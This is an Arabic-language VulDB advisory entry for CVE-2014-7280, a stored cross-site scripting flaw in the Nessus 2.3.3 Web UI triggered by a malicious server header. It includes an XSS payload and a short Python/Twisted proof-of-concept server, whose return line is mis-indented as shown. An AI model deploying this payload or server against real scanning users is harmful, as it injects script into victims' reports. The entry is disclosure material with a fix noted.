Tenable Nessus 2.3.3 HTTP Header Host البرمجة عبر المواقع

CVSS الدرجة المؤقتة للميتاسعر الإكسبلويت الحالي (≈)درجة اهتمام CTI
4.1$0-$5k0.00

الملخصالمعلومات

تم أكتشاف ثغرة أمنية في Tenable Nessus 2.3.3. وقد تم تصنيفها على أنها مشكلة صعبة الحل. الثغرة الأمنية متواجدة في دالة غير معروفة من العنصر HTTP Header Handler. تؤدي عملية التلاعب بالوسيط Host باستخدام الإدخال <script>alert(1)</script>foo إلى البرمجة عبر المواقع. أسم الثغرة الأمنية هوCVE-2014-7280. يمكن البدأ بالهجوم هذا عن بعد. هنالك إكسبلويت متوفرة. ننصح بـ تحديث المكون المتأثر بهذه الثغرة.

التفاصيلالمعلومات

تم أكتشاف ثغرة أمنية في Tenable Nessus 2.3.3. وقد تم تصنيفها على أنها مشكلة صعبة الحل. الثغرة الأمنية متواجدة في دالة غير معروفة من العنصر HTTP Header Handler. تؤدي عملية التلاعب بالوسيط Host باستخدام الإدخال <script>alert(1)</script>foo إلى البرمجة عبر المواقع. استخدام CWE للإعلان عن المشكلة يؤدي إلى CWE-79. الاستشاري يُلخص:

Nessus is a proprietary comprehensive vulnerability scanner which is developed by Tenable Network Security. Tenable Network Security estimates that it is used by over 75,000 organisations worldwide.
المشكلة تم أكتشافها بتاريخ13/06/2014. تم الإعلان عن الثغرة 07/10/2014 من قبل Frank Lycops تحت File 128579 كنوع استشارة (Packetstorm). يمكن عرض الاستشارة من هنا packetstormsecurity.com. تم النشر بالتنسيق مع الشركة المالكة.

أسم الثغرة الأمنية هوCVE-2014-7280. تمت إحالة الـ سي في أي01/10/2014. يمكن البدأ بالهجوم هذا عن بعد. التفاصيل التقنية متوفرة. التقارير تشير بأن الثغرة الأمنية هذه ذات شهرة أقل من المتوسط. هنالك إكسبلويت متوفرة. تم الإبلاغ عن ال إكسبلويت ويمكن استخدامها. اسلوب الهجوم المستخدم يسمىT1059.007 بحسب مشروع ميتري اتاك. وقد أشار الاستشاري إلى أن:

By setting up a malicious web server that returns a specially crafted host header, an attacker is able to execute javascript code on the machine of the person performing a vulnerability scan of the web server. No escaping on javascript code is being performed when passing the server header to the affected Web UI version via a plugin. The javascript code will be stored in the backend database, and will execute every time the target views a report that returns the server header.

تم أعتبراها على أنها فعالة للغاية. تستطيع تحميل الإكسبلويت من هنا packetstormsecurity.com. بما أنها ثغرة هجوم فوري فقد كان متوسط سعرها هو تقريبا$0-$5k. الكود البرمجي المستخدم بواسطة الإكسبلويت هو:

#!/usr/bin/env python
import sys
from twisted.web import server, resource
from twisted.internet import reactor
from twisted.python import log


class Site(server.Site):
    def getResourceFor(self, request):
        request.setHeader('server', '&lt;script>alert(1)&lt;/script>SomeServer')
        return server.Site.getResourceFor(self, request)


class HelloResource(resource.Resource):
    isLeaf = True
    numberRequests = 0


    def render_GET(self, request):
        self.numberRequests += 1
        request.setHeader("content-type", "text/plain")
return "theSecurityFactory Nessus POC"


log.startLogging(sys.stderr)
reactor.listenTCP(8080, Site(HelloResource()))
reactor.run()
برنامج نيسوس لفحص الشبكات يوفر ملحق بعنوان88965(Nessus Web UI Scanned Content Stored XSS), يمكنك من البحث عن وجود هذه الثغرة الأمنية. أنها مصنفة إلى عائلةCGI abuses : XSS.

تحديث النسخة إلى إصدار2.3.4 build#85 يمكن أن يحل هذه المشكلة. ننصح بـ تحديث المكون المتأثر بهذه الثغرة.

الثغرة الأمنية هذه تم تسجيلها في قواعد بيانات آخرى: SecurityFocus (BID 70274), X-Force (96886) , Tenable (88965).

منتجالمعلومات

النوع

المجهز

الأسم

النسخة

الرخصة

CPE 2.3المعلومات

CPE 2.2المعلومات

CVSSv4المعلومات

VulDB متجه: 🔍
VulDB الاعتمادية: 🔍

CVSSv3المعلومات

VulDB الدرجة الأساسية للميتا: 4.3
VulDB الدرجة المؤقتة للميتا: 4.1

VulDB الدرجة الأساسية: 4.3
VulDB الدرجة المؤقتة: 4.1
VulDB متجه: 🔍
VulDB الاعتمادية: 🔍

CVSSv2المعلومات

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
متجهالتعقيدتوثيقالسريةالأمانةالتوفر
افتحافتحافتحافتحافتحافتح
افتحافتحافتحافتحافتحافتح
افتحافتحافتحافتحافتحافتح

VulDB الدرجة الأساسية: 🔍
VulDB الدرجة المؤقتة: 🔍
VulDB الاعتمادية: 🔍

NVD الدرجة الأساسية: 🔍

استغلالالمعلومات

الفئة: البرمجة عبر المواقع
CWE: CWE-79 / CWE-94 / CWE-74
CAPEC: 🔍
ATT&CK: 🔍

ملموس: لا
محلي: لا
عن بُعد: نعم

التوفر: 🔍
وصول: عام
الحالة: فعالة للغاية
المؤلف: Frank Lycops
لغة البرمجة: 🔍
تحميل: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

تقدير السعر: 🔍
تقدير السعر الحالي: 🔍

0-Dayافتحافتحافتحافتح
اليومافتحافتحافتحافتح

Nessus ID: 88965
Nessus الأسم: Nessus Web UI Scanned Content Stored XSS
Nessus ملف: 🔍
Nessus خطر: 🔍
Nessus عائلة: 🔍

Exploit-DB: 🔍

استخبارات التهديدالمعلومات

الاهتمام: 🔍
الفاعلون النشطون: 🔍
مجموعات APT النشطة: 🔍

إجراءات مضادةالمعلومات

التوصية: ترقية
الحالة: 🔍

زمن الاستجابة: 🔍
زمن الهجوم الفوري: 🔍
وقت تأخير الاستغلال: 🔍

ترقية: Nessus 2.3.4 build#85

الجدول الزمنيالمعلومات

13/06/2014 🔍
13/06/2014 +0 أيام 🔍
13/06/2014 +0 أيام 🔍
13/06/2014 +0 أيام 🔍
01/10/2014 +110 أيام 🔍
07/10/2014 +6 أيام 🔍
07/10/2014 +0 أيام 🔍
07/10/2014 +0 أيام 🔍
09/10/2014 +2 أيام 🔍
09/10/2014 +0 أيام 🔍
21/10/2014 +12 أيام 🔍
30/12/2024 +3723 أيام 🔍

المصادرالمعلومات

استشارة: File 128579
باحث: Frank Lycops
الحالة: مؤكد
تأكيد: 🔍
منسق: 🔍

CVE: CVE-2014-7280 (🔍)
GCVE (CVE): GCVE-0-2014-7280
GCVE (VulDB): GCVE-100-67739
X-Force: 96886 - Nessus Web UI cross-site scripting, Medium Risk
SecurityFocus: 70274 - Nessus Web UI CVE-2014-7280 HTML Injection Vulnerability
OSVDB: 112728

scip Labs: https://www.scip.ch/en/?labs.20091204

إدخالالمعلومات

تم الإنشاء: 09/10/2014 11:09 AM
تم التحديث: 30/12/2024 12:28 PM
التغييرات: 09/10/2014 11:09 AM (77), 05/07/2017 09:01 AM (10), 21/02/2022 11:03 AM (3), 30/12/2024 12:28 PM (14)
كامل: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

مناقشة

لا توجد تعليقات بعد اللغات: ar + fa + en.

يرجى تسجيل الدخول حتى تتمكن من التعليق

التالي ▸نظرة عامة◂ السابق

Do you want to use VulDB in your project?

Use the official API to access entries easily!